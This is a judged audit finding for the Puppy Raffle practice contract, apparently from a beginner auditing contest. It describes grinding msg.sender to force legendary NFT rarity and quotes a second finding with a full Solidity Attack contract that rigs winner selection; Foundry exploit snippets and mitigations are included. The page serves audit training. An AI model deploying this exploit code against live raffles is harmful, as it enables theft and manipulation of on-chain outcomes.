Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Callers can grind msg.sender to force scarce NFT rarity

phantombugz

Root + Impact

Description

NFT rarity is computed from keccak256(msg.sender, block.difficulty) modulo 100. selectWinner() is permissionless, so callers can choose among many contract addresses and submit through a sender that produces the desired rarity in the current block.

A router can call candidate proxies atomically. Each proxy calls selectWinner(), checks the newly minted token's rarity, and reverts unfavorable attempts. Reverts roll back settlement, allowing the router to try the next sender in the same transaction until a rare result is found. This manipulates collectible scarcity independently of which player wins.

function selectWinner() external {
// ...
// @> Caller-controlled msg.sender is used as rarity entropy.
uint256 rarity = uint256(
keccak256(abi.encodePacked(msg.sender, block.difficulty))
) % 100;
​
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
// ...
_safeMint(winner, tokenId);
}

Risk

Likelihood: High

  • Any address can call selectWinner(), and contract sender addresses are attacker-selectable.

  • Unfavorable proxy attempts can revert atomically, allowing repeated trials without consuming the round.

Impact: Medium

  • Attackers can force scarce rarity outcomes and corrupt the advertised NFT distribution.

  • Manipulated supply undermines rarity-based value and fairness for winners and collectors.

Proof of Concept

A focused Foundry harness deployed multiple proxy callers. Each proxy invoked selectWinner(), checked tokenIdToRarity for the minted token, and reverted unless the result was LEGENDARY_RARITY. The router caught each revert and tried the next proxy.

for (uint256 i; i < proxies.length; i++) {
try proxies[i].selectAndRequireLegendary(raffle) {
foundLegendary = true;
break;
} catch {
// Settlement reverted; try the next msg.sender.
}
}
assertTrue(foundLegendary);
assertEq(raffle.tokenIdToRarity(0), raffle.LEGENDARY_RARITY());

The reproduced test obtained a legendary result after 12 attempts using 2,496,063 gas for the grind, excluding proxy deployment. The grinder does not need to be the winning player; the security impact is integrity of the NFT rarity distribution.

Recommended Mitigation

Use the same verifiable random word requested before settlement to derive both winner and rarity, with domain separation.

uint256 winnerIndex = uint256(keccak256(abi.encode(randomWord, "WINNER"))) % activePlayers;
uint256 rarityRoll = uint256(keccak256(abi.encode(randomWord, "RARITY"))) % 100;

Ensure the random word cannot be retried or selectively reverted by arbitrary callers, and add distribution/property tests.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!